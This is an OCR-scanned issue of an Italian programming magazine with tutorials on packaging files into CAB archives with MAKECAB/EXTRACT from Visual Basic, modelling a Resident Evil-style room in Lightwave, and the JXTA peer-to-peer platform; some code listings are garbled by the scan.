


"c:\5.jpg" 













Fig. 1: Un esempio di File DDF. 

Dopo aver visto le direttive principali del file ddf ve- 
diamo i parametri che possono essere passati a MAKE- 
C AB. EXE. Facciamo notare che esso può essere richia- 
mato: in un file bat (file sequenziale MsDos), dal 
Prompt MsDos o attraverso l'utility Esegui (Avvio/Ese- 
gui). Naturalmente illustreremo solo i parametri che 
utilizziamo nell'applicazione di esempio. La sintassi 
completa per richiamare MakeCab è la seguente: 



extract [/y] compressed_file [destination_file] 

La prima forma viene utilizzata in generale, la seconda 
nel caso in cui si voglia estrarre un unico file, i para- 
metri sono (Tab. 3): 

/A Per processare tutti i file CAB. 

/D Restituisce solo la lista delle directory senza estrarre i file. 

/E Forza l'estrazione dei file. 

/L Specifica la directory di estrazione. 

/Y Sovra scrive i file estratti senza chiedere conferma. 



compressed_file 


E' utilizzata per l'estrazione di un 
singolo file, che verrà inserito nella 
directory di destinazione. 


destination_file 


Percorso indicante la directory di 
destinazione. 


cabinet_file 


Nome del file CAB. 


location 


Percorso indicante la posizione in cui si 
trova il file da estrarre. 


file_spec 


Specifica il tipo di file che si vuole 
estrarre da un file CAB, ad esempio con 
*.EXE estraiamo tutti i file con estensione 
.EXE. 



Tab. 3: Parametri del tool Extract. 



Internet 
Package 



\/%\ Per creare un file 
I^^H Cabinet per In- 
ternet, al secondo 
passaggio della pro- 
cedura del Wizard for- 
nito con Visual Studio, 
bisogna selezionare 
Internet Package. Tra 
i vari passaggi del Wi- 
zard c'è quello in cui 
si deve specificare se 
il controllo è sicuro 
per lo scripting e la 
inizializzazione. Que- 
sto serve ad assicura- 
re che l'ActiveX non 
creerà problemi di 
nessuna natura sul 
computer Client che 
l'utilizzerà. 



MAKECAB [/Vn] [/D variable=value ...] [/L directory] 

source [destination] 

MAKECAB [/Vn] [/D variable=value ] /F d i recti ves_f ile [...] 

Noi utilizzeremo il seguente comando: 

MAKECAB /f "Nomefile.ddf" 

Questo comando consente di creare un file CAB sulla 
base di un file di direttive. I principali parametri che è 
possibile passare a MakeCab sono presentati in Tab. 2. 



Parametri 


Descrizione 


Source 


File che deve essere compresso 


Destination 


Nome del file di destinazione 


/D variable=value 


Opzione equivalente all'utilizzo 
all'interno del file di tipo ddf 
dell'operazione di Set delle variabili. 


/L directory 


Specifica la directory di destinazione 
del file compresso 


/F directivesjile 


File che contiene le direttive di 
compressione, il nostro file ddf. 



Tab. 2: Parametri associativi al comando MakeCab. 



UTILIZZARE EXTRACT 

Il tool Extract fa parte dell'SDK di Microsoft per la 
creazione di file CABinet, e come accennato serve per 
estrarre i file da un CAB. Vediamo ora come si effettua 
la procedura di estrazione dei file. 
La sintassi del comando è la seguente: 

extract [/y] [/A] [/D | /E] [/L location] cabinet_file 

[file_spec ...] 



Nel nostro caso utilizzeremo il seguente comando: 

extract nomefilecab.cab /e /l c:\cabfile\fileextract 

Notate che c:\cabfile\fileextract è il nome della direc- 
tory dove verranno posti i file estratti. 

IL PROGETTO 

Dopo aver descritto le caratteristiche di MAKECAB 
.EXE e EXTRACT.EXE e delle rispettive direttive di 
compilazione /estrazione, vediamo come utilizzare i 
tool in un progetto Visual Basic. Come accennato per 
utilizzare MakeCab /Extract bisogna seguire i seguenti 
passi: 

1. definire il file DDF delle direttive in cui vengono 
elencati anche i path dei file da comprimere; 

2. definire un file .BAT per avviare in modalità Ms- 
Dos il tool. 

Naturalmente per definire questi file da Visual Basic 
possiamo usare le istruzioni che permettono di gestire 
i file sequenziali (cioè OpenFile, Print ecc.), mentre per 
eseguire il file Bat possiamo usare l'istruzione Shell che 
permette di inviare un comando su una finestra Dos. 
L'esempio che implementeremo gestisce le seguenti 
funzionalità: 

• ricerca elementi da inserire nel file DDF, questo lo 
faremo attraverso gli oggetti: DirListBox, DriveList- 
Box, FileListBox; 

• creare un file DDF e un File BAT; 
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• creare un file CAB (con MakeCab) e successivamen- 
te estrarre da esso i file che contiene (con Extract). 

Allora, create un nuovo progetto EXE con una form 
che contenga i seguenti elementi: un DriveListBox (con 
nome drvlist), un DirListBox (dirList), un FileListBox 
(filList), una ListBox (ListBoxCab), un checkBox (Check- 
Cab), tre pulsanti che chiamiamo CreaDDF, CreaCAB e 
EstraiCAB e infine due textbox che chiamiamo Text- 
DDF e TextCAB. Disponete gli elementi come in Fig. 2. 
La prima procedura che descriviamo è quella associa- 
ta al pulsante CreaDDF. Essa permette di creare un file 
DDF con le caratteristiche descritte in precedenza. 



T3rR 





din 
pippo 



Crea DDF | Norner - 
Crea CAB | 



Estrai da CAB | Nome |" 



Fig. 2: La Form del progetto. 



Private Sub CreaDDF_Click() 


Open "C:\cabfile\" + Me.TextDDF + ".ddf" For Output As #1 


Print #1, ' 


.Option EXPLICIT" 


Print #1, ' 


.Set Cabinet=on" 


Print #1, ' 


.Set Com press =on" 


Print #1, ' 


.Set MaxDiskSize = CDROM" 


Print #1, ' 


.Set ReservePerCabinetSize = 6144" 


Print #1, ' 


.Set DiskDirectoryTemplate =" 


Print #1, ' 


.Set Com press ionType = MSZIP" 


Print #1, ' 


.Set CompressionLevel = 7" 


Print #1, ' 


.Set CompressionMemory = 21" 


Print #1, ' 


.Set CabinetNameTemplate=" + TextDDF + 

".cab Calcolatrice. CAB" 


For i = 11 


o ListBoxCab. ListCount 


Print #1, 


ListBoxCab. List(i - 1) 


Next 


Close #1 


End Sub 



Il codice di sopra non fa altro che inserire nel file DDF 
(il cui nome è contenuto nel TextDDF) le direttive di 
compilazione e l'elenco dei file da comprimere. Questo 
elenco è contenuto nella ListBoxCab. Notate l'uso delle 
istruzioni che permettono di manipolare i file sequen- 
ziali su disco. In particolare apriamo (Open) un file in 
scrittura ed in esso attraverso la Print scriviamo le di- 
rettive e il percorso dei file da comprimere. Questo ti- 
po di approccio lo utilizzeremo anche per creare i file 
BAT. Nella ListBoxCab i file da comprimere vengono 
inseriti facendo un doppio click sul FilelistBox, come 
chiariremo tra poco. 

Con la DwListjChange possiamo selezionare la perife- 
rica, ed attraverso dirList. Path = drvList. Drive viene im- 



postato come Path del DirList., cioè: 

Private Sub DrvList_Change() 

On Error GoTo DriveHandler 

dirList.Path = drvList.Drive 

Exit Sub 

DriveHandler: 

drvList.Drive = dirList.Path 

Exit Sub 

End Sub 

Dopo aver selezionato la periferica di acquisizione an- 
diamo a selezionare dalla DirListBox la directory in cui 
si trovano i file, verrà così popolata la FileListBox. Sul 
LostFocus del controllo DirList restituiamo il percorso 
selezionato (in particolare la cartella da cui prelevare i 
file) 

Private Sub DirList_Change() 

filList.Path = dirList.Path 

End Sub 

Private Sub DirList_LostFocus() 

dirList.Path = dirList.List(dirList.Listlndex) 

End Sub 

Come accennato per selezionare i file da comprimere 
utilizziamo il doppio click del FileListBox. Questa azio- 
ne provoca il trasferimento del percorso del file nella 
ListBoxCab. Attenzione però, questo avviene se il check- 
box CheckCAB non è selezionato, qualora quest'ultimo 
fosse selezionato la stessa azione invierà il percorso del 
file prescelto al textbox TextCAB per l'eventuale lancio 
della procedura di estrazione dei file (come sarà chiaro 
tra poco). 

Private Sub filList_DblClick() 

Dim i As Integer 

For i = To filList. ListCount - 1 

If filList.Selected(i) = True Then 

If CheckCAB.Value = 1 Then 

TextCAB = dirList.Path & "\" & filList. List(i) 

Else 

ListBoxCab.Addltem dirList.Path & "\" & filList. List(i) 

End If 

End If 

Next i 

End Sub 

Private Sub ListBoxCab_DblClick() 

For i = 1 To ListBoxCab. ListCount 

If ListBoxCab.SelectedQ - 1) = True Then 

Me. ListBoxCab. Re move Ite m i - 1 

Exit Sub 

End If 

Next 

End Sub 

Analizziamo come creare il file Bat, da eseguire da una 
finestra Dos, che effettuerà la chiamata al programma 
di compressione MAKECAB.EXE. Il file lo chiamiamo 
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Component 

Download 

Internet Compo- 
nent Download 
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(ICD) è il meccanismo 
che regola il down- 
load e l'installazione 
del codice per inter- 
net. ICD è usato da 
Internet Explorer per 
il Download automati- 
co e l'installazione 
controllata. 
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Basic 



Setup API 

\/%\ Le SetupAPI sono 
\^-^\ delle funzioni, tra 
le quali c'è la Setup- 
IterateCabìnet, che 
fornisco un'insieme di 
funzionalità orientate 
espressamente alla 
manipolazione di pac- 
chetti di setup. 
Per approfondire le co- 
noscenze dell'argo- 
mento andate su: 

http://msdn.microsoft.com 
/libra ry/default.asp?url= 
/library/en-us/setupapi 
/setup/overview.asp 



"fileBat.bat" e naturalmente, come lo stesso file Make- 
Cab.EXE, lo posizioniamo nella directory c:/cabfile. Co- 
me accennato, in esso è presente la chiamata a MakeCab 
al quale passiamo il file di direttive che ha il nome spe- 
cificato in TextDDF. Durante l'esecuzione la finestra 
dos sarà visualizzata normalmente come indicato dal 
parametro vbNormalFocus del comando Shell. 



Private Sub CreaCAB_Click() 


Open "C:\cabfile\fileBat.bat" 


For Output As #1 


Print #1, "makecab /f " + TextDDF + ".ddf" 


Close #1 


Shell "C:\cabfile\fileBat.bat", 


vbNormalFocus 


End Sub 



Notate che se MakeCab.Exe non si trova nella directory 
C:/CabFile bisogna specificarne il percorso. La stessa co- 
sa è valida per Ectract.Exe che descriveremo tra poco. 



ESTRAZIONE 

La procedura di estrazione, che richiamiamo tramite il 
pulsante EstraiCAB, produce un file BAT chiamato file- 
BatEx.bat, che lanciamo tramite Shell MsDos. Questa 
azione avvia l'estrazione dei file del Cabinet all'interno 
della cartella c:\cabfile\fileextract. 




API E CAB 

Anche le API di Windows consentono di gestire i file 
compressi in formato CAB. Sfortunatamente, le funzio- 
nalità messe a disposizione dalla API ci consentono so- 
lamente l'estrazione dei dati dai file CAB, così la com- 
pressione può essere gestita solamente attraverso il 
programma MAKECAB.EXE come abbiamo visto in 
precedenza. La funzione API che ci consente di estrar- 
re queste informazioni è la SetupIterateCabinet. Questa 
funzione è strettamente legata ad una funzione di Cai- 
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_JC:\ 
Qcabfile 


dix 







Crea DDF | Nomefl - 
Crea CAB | 



■lileVcalAdix 
! :: \cabf ile\cabVpi| pc 



Estrai da CAB | Nome [ 



Fig. 3: La Form dopo aver selezionato due file. 



Iback passata come parametro. La funzione di CallBack 
viene richiamata ripetutamente per ottenere le infor- 
mazioni sul file Cab. Ricordiamo che il passaggio del- 
l'indirizzo della funzione viene fatto attraverso l'ope- 
ratore AddressOf e che la funzione che utilizza questo 
operatore devo essere dichiarata in un modulo .Bas. Se 
volete approfondire le conoscenze sulla tecnica di Cal- 
lBack e di Subclassing vi consigliamo di leggere il nostro 
precedente articolo che è stato dedicato a questi argo- 
menti. 

Ora descriviamo brevemente la sintassi della SetupIte- 
rateCabinet. 

BOOL SetupIterateCabinet (PCTSTR CabinetFile, 

DWORD Reserved, PSP_FILE_CALLBACK 
MsgHandler, PVOID Context); 

Come si può constatare la sua invocazione dipende dai 
seguenti parametri: 

• PCTSTR - Nome e percorso del file CAB. 

• DWORD - un valore non utilizzato, che possiamo 
settare a 0. 

• PSP_FILE_CALLBACK - l'indirizzo della funzio- 
ne di callback. 

• PVOID - un intero Eong in cui è possibile specifi- 
care le operazioni che può compiere la funzione di 
callback. 

Il valore di ritorno della funzione è diverso da zero se 
l'esecuzione ha successo. La funzione di CallBack as- 
sociata a SetupIterateCabinet purtroppo non ha un'in- 
terfaccia di default come le funzioni di CallBack che 
abbiamo visto nel precedente articolo. Questo breve 
cenno sulle funzionalità della SetupIterateCabinet ci 
fanno capire le difficoltà che si possono riscontrare 
quando si utilizzano questi elementi. Maggiori infor- 
mazioni sono tuttavia reperibili su MSDN, anche se 
c'è da dire che gli esempi sono rivolto a linguaggi qua- 
li C/C++ e si fa fatica a riportare il tutto nell'ambien- 
te Visual Basic. 



CONCLUSIONI 

In questo appuntamento abbiamo presentato dei me- 
todi alternativi al Wizard creazione guidata pacchetti 
di installazione per creare e gestire i File di installazio- 
ne. Abbiamo anche accennato a come manipolare que- 
sti file attraverso le API di Windows. In conclusione vi 
invitiamo ad implementare l'applicazione che abbia- 
mo presentato, ed a verificare quali file crea MakeCab 
oltre al file .CAB. In particolare noterete che vengono 
creati altri due file: un .INF e un .RPT. Il file .INF è uti- 
le per la gestione della firma digitale, delle note legali, 
mentre il file .RPT fornisce informazioni sul processo 
di compressione. Inoltre se avete voglia di studiare... 
cercate di capire come implementare un'applicazione 
che utilizza le SetupAPI, buono studio. 

Massimo Autiero 
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Ambienti 
renderizzati 



► Lightwave 

Roberto Lombardo 



Realizziamo un ambiente 3D in stile Resident Evil con il nostro 

programma 3D preferito, 



Chi di voi non ricorda l'ormai 
vecchio "Alone in the dark", 
il precursore di una lunga 
serie di videogame che utilizzano la 
grafica renderizzata degli ambienti 
con personaggi 3D mossi in tempo 
reale. 

Gli ultimi arrivati del genere sono 
Resident Evil zero su Game Cube 
e Syberia su Pc. 

In questo tutorial, ricalcando lo stile 
di Resident Evil, realizzeremo una 
stanza sviluppata su due livelli, 
completa di mobilio ed oggetti, il 
tutorial tratterà la realizzazione di 



ogni singolo elemento nel modo più 
generico possibile in modo da 
ricreare la stessa stanza con 
qualsiasi software 3D. 
Gli strumenti utilizzati per la 
creazione di tutti gli elementi della 
stanza sono disponibili in tuti i 
software 3d in commercio: 
estrusioni, bevel e forme primitive 
geometriche. Il tutorial sarà diviso 
in più parti, trattando la 
modellazione della stanza 
principale base, la modellazione dei 
mobili e dei dettagli aggiuntivi, la 
texturizzazione e infine 



l'impostazione della scena finale 
delle luci e del render. 
Quando vi accingete a creare un 
ambiente 3D di questo tipo è 
essenziale raccogliere quante più 
informazioni possibili visionando 
altri lavori e/o videogame a cui 
vogliamo ispirarci, io 
personalmente ho visionato molte 
locazioni del nuovo episodio di 
Resident Evil e da queste ho tratto 
ispirazione per la realizzazione 
dell'architettura e stile della stanza. 
Fatta questa premessa non ci resta 
che iniziare la modellazione. 



M La progettazione 



In figura abbiamo la 
pianta della stanza 
che ci accingiamo a 
realizzare. La stanza è 
divisa in piano terra e 
primo piano con delle 
scale che portano a 
quest'ultimo. 
Al piano terra 
abbiamo 2 porte 
principali e una che 
dà su un ripostiglio. 
Il piano terra è 
illuminato da un 
lampadario posto in 
posizione centrale. 
Salendo al primo 
piano troviamo altre 2 
porte, rilluminazione 
qui sopra sarà affidata 
a 2 luci a parete, le 
pareti della stanza 
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saranno dotate di 
carta da parati, i 
pavimenti saranno 
differenti per il piano 
terra e il primo piano, 
composto da piastrelle 
il primo e da legno il 
secondo. 

Le pareti avranno una 
sezione in legno 
(parte bassa) mentre 
le porte saranno 
completamente in 
legno tranne quella 
del ripostiglio che 
avrà parti metalliche. 
Sulla base di questa 
pianta possiamo 
realizzare 
direttamente il 
modello 3D. 
Partiamo dalla scala. 



O 




Lampadario 



Porte 



Luce a parete 



Piano 



rialzato 
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2 La Scala 



f3 Base calpestatale 



La scala è di legno, 
presenterà 

successivamente delle 
lavorazioni che 
aggiungeremo con del 
bump nella texture, la 
stessa poggia su una 
mezza parete. Creiamo il 
profilo base della scala 
come in figura ed 



eseguiamo un estrusione 
dello stesso: per 
risparmiare tempo 
creeremo solo un gradino 
completo che cloneremo, 
una volta texturizzato, 
lungo la scala 
risparmiandoci in questo 
modo di texturare gli 
elementi identici. 




4 Colonnina 



Creiamo adesso le barre di 
legno che andranno a 
comporre il passamano della 
nostra scala. Questo 
elemento viene creato 
tramite un loft ovvero 
tramite una rivoluzione 
sull'asse y dell'oggetto, 



creiamo la forma base 
tramite spline ed 
eseguiamo una rivoluzione 
lungo Tasse y creando così 
la forma completa, quindi 
creiamo due box da 
posizionare alla base e al 
top del nostro asse di legno. 




Curva Spline creata 

Rivoluzione eseguita 
lungo l'asse y e aggiunta 
della base 



box 
aggiunti 




Una volta creata la base 
della scala creiamo un 
piccolo box schiacciato che 
formerà la base calpestabile 
del gradino, la quale 
sporgerà di qualche 
centimetro verso il lato 
esterno della scala. 
Assegniamo un colore 
diverso a questo elemento 
per distinguerlo dal resto 
della scala e posizioniamolo 
sulla base del primo 



gradino come evidenziato in 
figura. 

Una volta che 
texturizzeremo questo 
elemento, basterà copiarlo 
su ogni gradino 
risparmiando così gran 
parte del tempo. 
Quando in scena vi sono 
molti elementi identici 
basterà creare il primo e 
successivamente copiarlo 
quante volte necessario. 




Singolo elemento 
creato 



Posizione dell'oggetto sulle scale 




5 Posizioniamo la colonnina 



Realizzata la colonnina in 
legno, possiamo 
posizionarla sul primo 
scalino come in figura, una 



volta texturizzata la 
cloneremo lungo tutte le 
scale. 



Posizione del modello 
sulla scala 
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Terminiamo le scale 6-7-8 



Adesso creiamo il 
passamano, per fare questo 
cloniamo 

momentaneamente tutti gli 
assi di legno in modo da 
poterci regolare per 
l'altezza del passamano 
come in figura 6, una volta 
clonati tutti gli elementi 
creiamo 2 spline, una che 
si sviluppa lungo la scala e 
che sarà il percorso che 
seguirà il passamano, 
un'altra spline, chiusa, che 
rappresenta la forma del 
passamano, infine 
estrudiamo quest'ultima 
lungo il percorso creato con 
la prima spline, ottenendo 



così il risultato voluto, 
visibile in figura 6. Fatto 
questo passaggio possiamo 
togliere gli assi di legno 
creati momentaneamente 
riportando il tutto ad un 
solo elemento per oggetto, 
come in figura 7. Nel 
momento in cui dovremo 
clonare gli assi di legno 
dovremo adattare la parte 
superiore di questi (il cubo) 
sino a toccare la base del 
passamano come in figura 
7. In figura 8 possiamo 
vedere il modello 3D della 
scala così come si 
presenterà senza texture. 




Posizone originale dei 
vertici. Solo dopo la 
texturizzazione 
dobbiamo adattarli e 
quindi clonare 1 'asse 
lungo le scale. 



ione ritoccata dei vertici 





w 9 La stanza 



Mezzo muro sotto scala 




Il rendering 
di prova 



Adesso che abbiamo il 
riferimento della scala 
possiamo creare la stanza, 
così come progettata in 
precedenza. Il modello è 
molto semplice, non 
preoccupiamoci di creare i 
fori per le porte, queste 
saranno inserite 
direttamente sulla 
struttura poligonale della 
stanza senza eseguire 
nessuna operazione 
booleana. 
In figura possiamo vedere 



il modello poligonale 
grezzo della stanza con la 
scala. Ricordiamoci di 
creare il mezzo muro che 
andrà a comporre il 
sottoscala. Eseguito questo 
passaggio possiamo creare 
l'altro elemento base che 
comporrà la stanza ovvero 
il modello della porta, 
l'ultimo passaggio della 
modellazione sarà la 
creazione di tutti gli 
elementi che comporranno 
l'arredamento della stanza. 
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f10 Le porte della stanza 



M1 Simmetrie 



Per la realizzazione delle 
porte dobbiamo realizzare 
un box, come quello in figu- 
ra. Quindi, sul poligono fron- 
tale, eseguiamo una suddivi- 
sone in modo da dividerlo in 
2 parti, sulla parte superiore 
eseguiamo un bevel (ovvero 
una clonazione del poligono) 



e strecciamo il nuovo poli- 
gono creato, come rapresen- 
tato in figura. Adesso ese- 
guiamo un bevel negativo 
su questo facendolo letteral- 
mente rientrare nel poligono 
maggiore in modo da creare 
un incavo come evidenziato 
in figura. 



ligono di base 



Bevel sul poligono 
e relativo stretch 






Suddivisone del 
poligono frontale 




Stessa operazione sulla 
parte inferiore 




Ora facciamo la stessa cosa 
con il poligono inferiore, 
prima di realizzare l'incavo 
di quest'altro strecciamolo 
e spostiamolo verso destra 
come evidenziato in figura. 
In questo modo, quando 
eseguiremo il mirror della 



porta, le due metà 
formeranno l'incavo 
centrale basso. 
La porta finale la possiamo 
vedere in figura, a questa 
dobbiamo aggiungere 
ancora la maniglia. 



Il modello 3d della porta 

ricavato effetuando un 
mirror della prima sezione 




r 1 2-1 3-1 4 La maniglia 



Per realizzare la maniglia crea- 
te un modello poligonale come 
quello in figura, spostate i ver- 
tici sino ad ottenere la forma 
visibile in figura 12, quindi 
estrudiamo lievemente il poli- 
gono come rappresentato in 
figura. Fatto questo passaggio 
selezioniamo il poligono fronta- 
le ed eseguiamo un bevel 
strecciando il poligono risultan- 
te sino ad ottenere il risultato 
mostrato nell'immagine. 
Questa sarà la base sulla quale 
inseriremo la maniglia vera e 
propria. 



La texture della porta sarà 
disegnata direttamente su di 
essa per creare anche delle 
bump decorative sulla stessa. 
Creiamo ora la maniglia vera e 
propria. 

Il procedimento è identico a 
quello utilizzato per la creazio- 
ne del passamano delle scale. 
Creiamo una curva spline 
lungo la quale estruderemo un 
disco come illustrato in figura 
13. 

Ottenuto questo oggetto creia- 
mo una piccola base cilindrica, 
elaborandola come in figura 




con diverse estrusioni multiple 
della faccia superiore, inseren- 





Curva Spline per la maniglia 



Forma da estrudere 



Risultato dell'estrusione 



dola come base della maniglia 
per collegare quest'ultima alla 
porta come presentato in 
figura 14, sempre nella stes- 
sa immagine possiamo nota- 
re la porta completa. Adesso 
anche la porta è stata defi- 
nita, stiamo quasi per com- 
pletare il nostro modello 
base della stanza. Questa 
porta la cloneremo nella 
stanza solo dopo averla tex- 
turizzata, ora non ci resta 
che passare agli oggetti illu- 
minanti, il lampadario e le 
luci a parete. 
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f15 II lampadario centrale 



17-18 La catena 



Modelliamo adesso il lampada- 
rio che posizioneremo al centro 
della stanza con una catena 
che lo regge dal soffitto del 
primo piano. Il lampadario è 
formato da 4 punti luce conte- 
nuti all'interno di bocce di 
vetro le quali sono sorrette da 
4 bracci metallici che partono 
dal centro. Partiamo dalla 
base, creiamo una spline come 
quella in figura ed eseguiamo 
una rivoluzione attorno all'asse 
y sino ad ottenere il risultato 
evidenziato in figura 15. 
Adesso dobbiamo creare la 



parte metallica che farà da 
gancio per i bracci del lampa- 
dario. Create la forma eviden- 
ziata in figura 15, dopodiché 
posizionatela ai 4 angoli del 
lampadario. Da questi partiran- 
no i bracci che sosterranno le 
bocce di vetro. Il risultato di 
tale operazione è mostrato 
sempre in figura 15. Creiamo 
anche un piccolo cilindro buca- 
to al centro come quello in 
figura e posizioniamolo sulla 
parte alta del lampadario, da 
questo cilindro faremo partire 
la catena verso il soffitto. 




16 1 bracci 



Adesso passiamo alla realizza- 
zione dei bracci, solito procedi- 
mento, estrudiamo un disco 
lungo una curva spline come 
rappresentato in figura, quindi 
creiamo un'altra spline che 
diventerà la base delle bocce 
di vetro da posizionare alla 
fine del braccetto come evi- 



denziato in figura, quindi per 
creare la boccia ci basterà 
creare una sfera opportuna- 
mente modificata. Oppure, se 
vogliamo fare qualcosa di più 
complesso, possiamo creare 
una forma spline come quella 
creata per la base del lampa- 
dario. 




Risultato dell'estrusione 



Base montata sul braccio 



Curva spline per la 
base delle bocce di vetro 




In figura 17 possiamo 
vedere il lampadario con i 4 
bracci montati, creiamo 
una spline per le bocce, 
eseguiamo una rivoluzione 
sull'asse y ottenendo così 
una boccia più lavorata, 
quindi montiamo le bocce 
risultanti sui 4 bracci. 
A questo punto ci serve 
solo la catena. 
Creiamo un parallelepipedo 
con 3 suddivisioni come 
quello in figura 18, quindi 
spostiamo i vertici sino ad 
ottenere la forma 
rappresentata in figura, 
estrudiamola ottenendo 
così la metà di un anello 
della catena. 
Adesso eseguiamo il mirror 



dell'oggetto, spostiamo i 
vertici per meglio definire 
la forma dell'anello, il 
risultato è visibile in figura 
18. 

Eseguiamo una 
suddivisione dell'oggetto 
per smussarlo ottenendo 
così un risultato simile alla 
figura 18. Il risultato della 
suddivisione dipende dal 
software che usiamo (3D 
Studio, Cinema 4d, Maya 
ecc). 

Completato il primo anello 
ci basterà clonarlo più volte 
in verticale creando così di 
fatto la catena, quindi 
colleghiamo quest'ultima al 
nostro lampadario 
completando il modello. 



I bracci montati sul lampadario 
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Le luci a parete 1 9 



La costruzione delle lampade a muro 



Adotteremo un 
procedimento simile a 
quello per la generazione 
del lampadario per creare 
le luci a parete del piano 
superiore, partiamo dalla 
base. Disegniamo un 
poligono avente la forma 
che vogliamo dare alla base 
ad esempio come quello in 

20-21 Altri bracci 



figura. Eseguiamo un 
mirror del nostro poligono 
ottenendo la forma 
desiderata, adesso 
selezioniamo il poligono ed 
eseguiamo un bevel sullo 
stesso per estruderlo 
leggermente e strecciarlo 
ottenendo così il risultato in 
figura. 



Ora, creiamo il braccio della 
nostra lampada con lo stesso 
procedimento usato per 
creare quello del lampadario, 
ovvero estrudendo un disco 
lungo una curva spline. Il 
nostro braccio è visibile in 
figura 20. Creiamo una picco- 
la base cilindrica inserita tra il 
braccio e la base stessa dalla 
lampada da muro come in 
figura. Per il vetro vero e pro- 
prio della lampada a muro 
dobbiamo creare il profilo 



spline ed eseguire una rivolu- 
zione lungo Tasse y. In figura 
21 abbiamo il profilo spline, il 
risultato della rivoluzione 
attorno al suo asse e il posi- 
zionamento dell'oggetto 
generato lungo il braccetto 
completando così anche que- 
sto modello. Per migliorare il 
punto di giunzione tra la boc- 
cia e il braccetto inseriamo lo 
stesso modello usato per la 
base del braccio come evi- 
denziato in figura 21. 




La costruzione delle lampade a muro 





Stesso modello per 
le giunzioni 




La nostra estrusione con un bevel finale 



W22 La stanza base completa 



Con questi modelli abbiamo 
creato la base per la nostra 
stanza, le pareti, le porte, una 
scala e i punti luce. Nel prossi- 
mo tutorial realizzeremo la rin- 
ghiera che andrà al piano supe- 
riore, la quale si avvantaggerà 
degli elementi già creati come 
gli assi di legno mentre il passa- 
mano sarà diviso da quello delle 
scale, potevamo creare un 
unico passamano utilizzando la 
curva spline, ma per semplifi- 
care la gestione del modello, 
almeno in questo tutorial base, 
ho preferito realizzarlo a parte, 
altri elementi da creare saranno 
alcuni mobili (vetrina, una se- 
dia, alcuni quadri e altro) ed 
elementi di contorno da inserire 
in scena per aumentare il reali- 
smo. Definiti tutti i modelli della 
scena passeremo in seguito a 
realizzare tutte le texture di cui 
abbiamo bisogno per concludere 
infine con l'illuminazione e l'im- 
postazione di rendering della 
scena. A fine tutorial sarà alle- 
gato un piccolo video contenen- 



te la passeggiata virtuale all'in- 
terno della stessa stanza. In 
figura 22 possiamo vedere alcu- 
ni render di prova con tutti gli 
elementi inseriti cena, render 
calcolati in Lightwave 7.5. Per la 
realizzazione di questa stanza 
ho tratto spunto da alcune 
architetture presenti nell'ultimo 
episodio della serie Resident 
Evil, con questo tipo di grafica il 
numero di poligoni è irrilevante 
in quanto il tutto viene pre cal- 
colato, lo stesso viene quindi 
inserito nel videogame in que- 
stione, al contrario dei videoga- 
me 3D totalmente in tempo 
reale, qui più poligoni si usano 
per definire forme perfette e 
prive di spigoli, migliore sarà il 
risultato del rendering della 
stanza. Il resto del dettaglio in 
scena, una volta completati tutti 
i modelli poligonali, sarà dato 
dalle texture e dall'effetto 
"usura" che imprimeremo in 
esse. Detto questo non mi resta 
che rimandarvi al prossimo 
numero, buona modellazione!!! 
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Realizzare 

APPLICAZIONI PEER-TO-PEER 
NON È MAI STATO COSÌ SEMPLICE! 




Condivisione 

risorse 



In questa seconda puntata analizzeremo a fondo il 
progetto JXTA esaminandone protocolli e package. 



Projext Jxta è una piattaforma per lo sviluppo di 
applicazioni di networking, in particolare rivol- 
ta al Peer-to-Peer. A chiunque sarà capitato di 
utilizzare applicazioni per il file sharing del genere Na- 
pster e Gnutella, tanto per fare due nomi, oppure ap- 
plicazioni per Tlnstant Messaging come AIM o Net- 
Messenger. Sono tutte applicazioni con i propri proto- 
colli proprietari, quindi non interoperabili, rivolte qua- 
si sempre al mondo Windows, e soprattutto, cosa che 
non ha senso se vogliamo parlare di P2P reale, presen- 
tano una componente centralizzata, cioè dei server 
centrali che poi si occupano di mettere in comunica- 
zione "diretta" i singoli utenti. Jxta è nato inizialmente 
all'interno di Sun Microsystems, come piccolo proget- 
to di ricerca, per cercare di analizzare e sfruttare le 
enormi potenzialità del peer-to-peer, ora è un progetto 
open source a cui partecipano migliaia di sviluppatori 
entusiasti. L'architettura che è scaturita fuori da queste 
ricerche è mostrata in Fig. 1. 



Application 
Layer 



Service 
Layer 



Core 
Layer 



JXTA Community 
Appications 



Sun Jxta 

Application» 



JXTA Community Services 



Sun JXTA 
Services 



Commands 



PeerGroups PeerPipes Peer Monitoring 



Security 



Rato Peer-to-P©er 



Fig. 1: L'architettura. 

Il livello più basso, quello di Core, contiene le funzio- 
nalità essenziali per ogni soluzione p2p, cioè quelle di 
comunicazione, quelle di discovery, e di altre funzioni 
di basso livello come ad esempio il routing dei mes- 
saggi. Il livello intermedio, contiene invece servizi che 
sono basati sul livello di core, e che sono desiderabili 
ma non necessari ad ogni applicazione p2p, come ad 
esempio la ricerca e la condivisione di file e l'autenti- 
cazione dei peer. Al livello più alto infine troviamo le 
applicazioni Peer-to-Peer che sfruttano i livelli sotto- 
stanti, ad esempio applicazioni di Instant Messaging e 
di Auction-on-line. 



I PROTOCOLLI DI JXTA 

Jxta definisce sei protocolli, i cui nomi e descrizioni so- 
no contenuti nei box laterali. Tali protocolli sono stati 
implementati come servizi che ogni peergroup deve 
possedere per essere conforme alle direttive di Jxta. Da 
ciò deriva il concetto fondamentale che è il peergroup 
ad essere il contenitore e fornitore dei servizi, e che, 
quindi, ogni peer che eventualmente vuole usufruire 
di tali servizi, deve necessariamente ottenere il diritto 
di entrare a far parte del peergroup, o crearne uno pro- 
prio, che sarà il contenitore dei servizi che esporrà ad 
altri peer. L'importanza dell'associare i servizi ad un 
peergroup deriva dal fatto di dover limitare lo scope 
dei servizi stessi. Nel caso in cui si rendesse necessaria 
l'interazione con più peergroup basta scrivere un'ap- 
plicazione che entri a far parte di ognuno dei gruppi. 



PEERGROUP SERVICES 

Abbiamo detto che è fondamentale che ogni peer- 
group supporti un insieme di servizi standard, che im- 
plementino i protocolli Jxta. I binding esistenti di Jxta 
implementano tutti e sette i protocolli. In Fig. 2 è mo- 
strato il Core Services Set in formato UML del binding 
Java. Per ogni servizio, nella piattaforma di riferimen- 
to è presente un'interfaccia derivata da quella princi- 
pale Service, ad esclusione di MembershipService che è 
una classe astratta. A sua volta l'interfaccia Service de- 
riva dall'interfaccia Module, che rappresenta il codice 
eseguibile di un servizio all'interno di un peergroup. Il 



MembershipService 




RendezvousS eivice 



PipeService 



EndpointService 



ResolverService 



Peer Discovery 
Protocol (PDP) 



ó 



ó 



Meccanismi per la 
ricerca degli ad- 
vertisements (peer, 
group, service, pipe) 
spediti da altri peer. 



